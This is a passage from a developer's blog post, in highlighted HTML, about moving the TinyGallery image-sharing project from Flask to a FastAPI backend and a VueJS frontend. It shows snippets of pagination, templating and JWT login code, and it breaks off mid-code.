</span></span><span class="line"><span class="cl"> <span class="na">xmlns</span><span class="o">=</span><span class="s">&#34;http://www.w3.org/2000/svg&#34;</span> <span class="na">width</span><span class="o">=</span><span class="s">&#34;16&#34;</span> <span class="na">height</span><span class="o">=</span><span class="s">&#34;16&#34;</span> <span class="na">fill</span><span class="o">=</span><span class="s">&#34;currentColor&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;bi bi-star&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">viewBox</span><span class="o">=</span><span class="s">&#34;0 0 16 16&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">path</span> </span></span><span class="line"><span class="cl"> <span class="na">d</span><span class="o">=</span><span class="s">&#34;M2.866 14.85c-.078.444.36.791.746.593l4.39-2.256 4.389 2.256c.386.198.824-.149.746-.592l-.83-4.73 3.522-3.356c.33-.314.16-.888-.282-.95l-4.898-.696L8.465.792a.513.513 0 0 0-.927 0L5.354 5.12l-4.898.696c-.441.062-.612.636-.283.95l3.523 3.356-.83 4.73zm4.905-2.767-3.686 1.894.694-3.957a.565.565 0 0 0-.163-.505L1.71 6.745l4.052-.576a.525.525 0 0 0 .393-.288L8 2.223l1.847 3.658a.525.525 0 0 0 .393.288l4.052.575-2.906 2.77a.565.565 0 0 0-.163.506l.694 3.957-3.686-1.894a.503.503 0 0 0-.461 0z&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">svg</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">svg</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&#34;SendLikedData({{ loop[&#34;</span> <span class="na">index</span><span class="err">&#34;]</span> <span class="err">}},</span> <span class="err">&#39;</span><span class="na">Unlike</span><span class="err">&#39;</span> <span class="err">)&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;likeStatus1&#34;</span> <span class="na">style</span><span class="o">=</span><span class="s">&#34;display: none;&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">xmlns</span><span class="o">=</span><span class="s">&#34;http://www.w3.org/2000/svg&#34;</span> <span class="na">width</span><span class="o">=</span><span class="s">&#34;16&#34;</span> <span class="na">height</span><span class="o">=</span><span class="s">&#34;16&#34;</span> <span class="na">fill</span><span class="o">=</span><span class="s">&#34;currentColor&#34;</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;bi bi-star-fill&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">viewBox</span><span class="o">=</span><span class="s">&#34;0 0 16 16&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">path</span> </span></span><span class="line"><span class="cl"> <span class="na">d</span><span class="o">=</span><span class="s">&#34;M3.612 15.443c-.386.198-.824-.149-.746-.592l.83-4.73L.173 6.765c-.329-.314-.158-.888.283-.95l4.898-.696L7.538.792c.197-.39.73-.39.927 0l2.184 4.327 4.898.696c.441.062.612.636.282.95l-3.522 3.356.83 4.73c.078.443-.36.79-.746.592L8 13.187l-4.389 2.256z&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">svg</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> {% endif %} </span></span><span class="line"><span class="cl"> {% endif %} </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> {% endfor %} </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl">{% endblock %} </span></span></code></pre></td></tr></table> </div> </div><p>Despite its simplicity and ease of adoption, Flask did exhibit some flaws and yielded challenging bugs in the earlier versions of TinyGallery, contributing to a decision to transition to a new technology stack.</p> <h3 id="fastapi-vuejs">FastAPI, VueJS</h3> <p>Enter <strong>FastAPI</strong> and <strong>VueJS</strong>. To elevate the TinyGallery experience, a decision was made to bifurcate the backend and frontend, with a keen emphasis on leveraging Ajax-all-in and Restful API features. This compelling pursuit led me to immerse myself in the world of VueJS, resulting in the creation of <a href="https://github.com/WeepingDogel/tinygallery-vue" target="_blank" rel="noopener noreffer ">tinygallery-vue</a> and <a href="https://github.com/WeepingDogel/tinygallery-backend" target="_blank" rel="noopener noreffer ">tinygallery-backend</a>. Months of dedicated learning culminated in the successful completion of this endeavor.</p> <p>The depth and breadth of my learning during this period were substantial, encompassing the creation of a Restful API provider with FastAPI, the crafting of a webpage capable of seamless data communication with the server using axios, and the meticulous design of simple, yet elegant components in VueJS.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="kr">async</span> <span class="nx">fetchData() {</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Fetch more image data from the server </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">this</span><span class="p">.</span><span class="nx">pages</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">pages</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// Increment the current page number </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">axios</span><span class="p">.</span><span class="kr">get</span><span class="p">(</span><span class="s2">&#34;/resources/posts/&#34;</span> <span class="o">+</span> <span class="k">this</span><span class="p">.</span><span class="nx">pages</span><span class="p">);</span> <span class="c1">// Make a GET request to the server API </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">newData</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">request</span><span class="p">.</span><span class="nx">response</span><span class="p">);</span> <span class="c1">// Parse the response text to JSON format </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">if</span> <span class="p">(</span><span class="nx">newData</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// If there is no new data </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">this</span><span class="p">.</span><span class="nx">pages</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">pages</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// Decrement the current page number </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Otherwise </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">newData</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Loop over the new data and add it to the display data array </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">displayData</span> <span class="kr">as</span> <span class="kt">any</span><span class="p">).</span><span class="nx">push</span><span class="p">(</span><span class="nx">newData</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">template</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;Card&#34;</span> <span class="na">v-for</span><span class="o">=</span><span class="s">&#34;items of displayData&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">img</span> </span></span><span class="line"><span class="cl"> <span class="err">@</span><span class="na">click</span><span class="o">=</span><span class="s">&#34;OpenRemarkBySingleUUID((items as any).post_uuid)&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">class</span><span class="o">=</span><span class="s">&#34;displayImage_NSFW&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">:src</span><span class="o">=</span><span class="s">&#34;(items as any).cover_url&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">:alt</span><span class="o">=</span><span class="s">&#34;(items as any).post_uuid&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">v-if</span><span class="o">=</span><span class="s">&#34;(items as any).nsfw&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">img</span> </span></span><span class="line"><span class="cl"> <span class="err">@</span><span class="na">click</span><span class="o">=</span><span class="s">&#34;OpenRemarkBySingleUUID((items as any).post_uuid)&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">class</span><span class="o">=</span><span class="s">&#34;displayImage&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">:src</span><span class="o">=</span><span class="s">&#34;(items as any).cover_url&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">:alt</span><span class="o">=</span><span class="s">&#34;(items as any).post_uuid&#34;</span> </span></span><span class="line"><span class="cl"> <span class="na">v-else</span> </span></span><span class="line"><span class="cl"> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">h2</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;ImageTitle&#34;</span><span class="p">&gt;</span>{{ (items as any).post_title }}<span class="p">&lt;/</span><span class="nt">h2</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;ImageDescription&#34;</span><span class="p">&gt;</span>{{ (items as any).description }}<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;UserInfoBar&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">img</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;UserAvatar&#34;</span> <span class="na">:src</span><span class="o">=</span><span class="s">&#34;(items as any).avatar&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;ImageUserName&#34;</span><span class="p">&gt;</span>{{ (items as any).user_name }}<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;LikesDisplay&#34;</span><span class="p">&gt;</span>{{ (items as any).dots }} likes<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;ImageDate&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> {{ TimeZoneCaculator.CaculateTheCorrectDate((items as any).date) }} </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">template</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nd">@image_resources_api.get</span><span class="p">(</span><span class="s2">&#34;/posts/</span><span class="si">{page}</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="k">async</span> <span class="k">def</span> <span class="nf">get_posts_as_json</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">db</span><span class="p">:</span> <span class="n">Session</span> <span class="o">=</span> <span class="n">Depends</span><span class="p">(</span><span class="n">get_db</span><span class="p">)):</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="ow">not</span> <span class="n">page</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="mi">400</span><span class="p">,</span> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;You must append a page number to the end of the url.&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">posts_from_db</span> <span class="o">=</span> <span class="n">crud</span><span class="o">.</span><span class="n">get_posts_by_page</span><span class="p">(</span><span class="n">db</span><span class="o">=</span><span class="n">db</span><span class="p">,</span> <span class="n">page</span><span class="o">=</span><span class="n">page</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">list_for_return</span><span class="p">:</span> <span class="nb">list</span><span class="p">[</span><span class="nb">dict</span><span class="p">]</span> <span class="o">=</span> <span class="p">[]</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">posts_from_db</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">user_uuid</span> <span class="o">=</span> <span class="n">get_user_uuid_by_name</span><span class="p">(</span><span class="n">user_name</span><span class="o">=</span><span class="n">x</span><span class="o">.</span><span class="n">user_name</span><span class="p">,</span> <span class="n">db</span><span class="o">=</span><span class="n">db</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">admin_uuid</span> <span class="o">=</span> <span class="n">get_admin_uuid_by_name</span><span class="p">(</span><span class="n">user_name</span><span class="o">=</span><span class="n">x</span><span class="o">.</span><span class="n">user_name</span><span class="p">,</span> <span class="n">db</span><span class="o">=</span><span class="n">db</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">temp_dict</span> <span class="o">=</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;id&#34;</span><span class="p">:</span> <span class="n">x</span><span class="o">.</span><span class="n">id</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;description&#34;</span><span class="p">:</span> <span class="n">x</span><span class="o">.</span><span class="n">description</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;share_num&#34;</span><span class="p">:</span> <span class="n">x</span><span class="o">.</span><span class="n">share_num</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;post_uuid&#34;</span><span class="p">:</span> <span class="n">x</span><span class="o">.</span><span class="n">post_uuid</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;nsfw&#34;</span><span class="p">:</span> <span class="n">x</span><span class="o">.</span><span class="n">nsfw</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;user_name&#34;</span><span class="p">:</span> <span class="n">x</span><span class="o">.</span><span class="n">user_name</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;post_title&#34;</span><span class="p">:</span> <span class="n">x</span><span class="o">.</span><span class="n">post_title</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;dots&#34;</span><span class="p">:</span> <span class="n">x</span><span class="o">.</span><span class="n">dots</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;date&#34;</span><span class="p">:</span> <span class="n">x</span><span class="o">.</span><span class="n">date</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">16</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;cover_url&#34;</span><span class="p">:</span> <span class="n">dir_tool</span><span class="o">.</span><span class="n">get_cover_file_url</span><span class="p">(</span><span class="n">x</span><span class="o">.</span><span class="n">post_uuid</span><span class="p">),</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;avatar&#34;</span><span class="p">:</span> <span class="n">dir_tool</span><span class="o">.</span><span class="n">get_avatar_file_url</span><span class="p">(</span><span class="n">dir_user_uuid</span><span class="o">=</span><span class="n">admin_uuid</span> <span class="k">if</span> <span class="n">admin_uuid</span> <span class="k">else</span> <span class="n">user_uuid</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="n">list_for_return</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">temp_dict</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">list_for_return</span> </span></span></code></pre></td></tr></table> </div> </div><p>Reveling in the satisfaction of newfound skills, I proudly navigated my way through VueJS&rsquo;s option API, acquainting myself with the intricacies of lifecycle management, components, and props. On the backend front, mastering the art of JWT token creation for authentication, file handling, and data manipulation further bolstered my repertoire.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="nx">LoginAccount() {</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">logUserName</span> <span class="o">==</span> <span class="s2">&#34;&#34;</span> <span class="o">||</span> <span class="k">this</span><span class="p">.</span><span class="nx">logPassWord</span> <span class="o">==</span> <span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Check if username and password are empty </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">this</span><span class="p">.</span><span class="nx">Result</span> <span class="o">=</span> <span class="s2">&#34;Username or password can&#39;t be empty!&#34;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Username or password can&#39;t be empty!&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">bodyFormData</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">FormData</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="nx">bodyFormData</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="s2">&#34;username&#34;</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">logUserName</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nx">bodyFormData</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="s2">&#34;password&#34;</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">logPassWord</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nx">axios</span><span class="p">({</span><span class="nx">method</span><span class="o">:</span> <span class="s2">&#34;post&#34;</span><span class="p">,</span> <span class="nx">url</span><span class="o">:</span> <span class="s2">&#34;/user/token&#34;</span><span class="p">,</span> <span class="nx">data</span>: <span class="kt">bodyFormData</span><span class="p">,</span> <span class="nx">headers</span><span class="o">:</span> <span class="p">{</span> <span class="s2">&#34;Content-Type&#34;</span><span class="o">:</span> <span class="s2">&#34;application/x-www-form-urlencoded&#34;</span> <span class="p">},})</span> </span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">response</span>: <span class="kt">any</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">access_token</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Create an object to store the username and token. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">token</span> <span class="o">=</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">access_token</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nb">window</span><span class="p">.</span><span class="nx">localStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="s2">&#34;Token&#34;</span><span class="p">,</span> <span class="nx">token</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Set logging status. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">Authentication</span><span class="p">().</span><span class="nx">setLogStatus</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">})</span> </span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="k">catch</span><span class="p">((</span><span class="nx">error</span>: <span class="kt">any</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Return the errors. </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">this</span><span class="p">.</span><span class="nx">Result</span> <span class="o">=</span> <span class="nx">error</span><span class="p">.</span><span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">detail</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">error</span><span class="p">.</span><span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">detail</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nd">@userAuthRouter.post</span><span class="p">(</span><span class="s2">&#34;/token&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="k">async</span> <span class="k">def</span> <span class="nf">user_login</span><span class="p">(</span><span class="n">db</span><span class="p">:</span> <span class="n">Session</span> <span class="o">=</span> <span class="n">Depends</span><span class="p">(</span><span class="n">get_db</span><span class="p">),</span> <span class="n">form_data</span><span class="p">:</span> <span class="n">OAuth2PasswordRequestForm</span> <span class="o">=</span> <span class="n">Depends</span><span class="p">()):</span> </span></span><span class="line"><span class="cl"> <span class="n">user_authentication</span> <span class="o">=</span> <span class="n">authenticate_user</span><span class="p">(</span><span class="n">db</span><span class="p">,</span> <span class="n">form_data</span><span class="o">.</span><span class="n">username</span><span class="p">,</span> <span class="n">form_data</span><span class="o">.</span><span class="n">password</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">admin_authentication</span> <span class="o">=</span> <span class="n">authenticate_admin</span><span class="p">(</span><span class="n">db</span><span class="p">,</span> <span class="n">form_data</span><span class="o">.</span><span class="n">username</span><span class="p">,</span> <span class="n">form_data</span><span class="o">.</span><span class="n">password</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="c1"># Raise error if authentication fails</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="ow">not</span> <span class="n">user_authentication</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">admin_authentication</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="n">status</span><span class="o">.</span><span class="n">HTTP_401_UNAUTHORIZED</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;Incorrect username or password.&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;WWW-Authenticate&#34;</span><span class="p">:</span> <span class="s2">&#34;Bearer&#34;</span><span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">try</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="c1"># Create access token</span> </span></span><span class="line"><span class="cl"> <span class="n">access_token_expires</span> <span class="o">=</span> <span class="n">timedelta</span><span class="p">(</span><span class="n">minutes</span><span class="o">=</span><span class="n">config</span><span class="o">.</span><span class="n">ACCESS_TOKEN_EXPIRE_MINUTES</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">access_token</span> <span class="o">=</span> <span class="n">create_access_token</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s2">&#34;sub&#34;</span><span class="p">:</span> <span class="n">form_data</span><span class="o">.</span><span class="n">username</span><span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="n">expires_delta</span><span class="o">=</span><span class="n">access_token_expires</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">except</span> <span class="n">JWTError</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="k">raise</span> <span class="n">HTTPException</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="n">status_code</span><span class="o">=</span><span class="n">status</span><span class="o">.</span><span class="n">HTTP_401_UNAUTHORIZED</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">detail</span><span class="o">=</span><span class="s2">&#34;Cannot create token.&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span 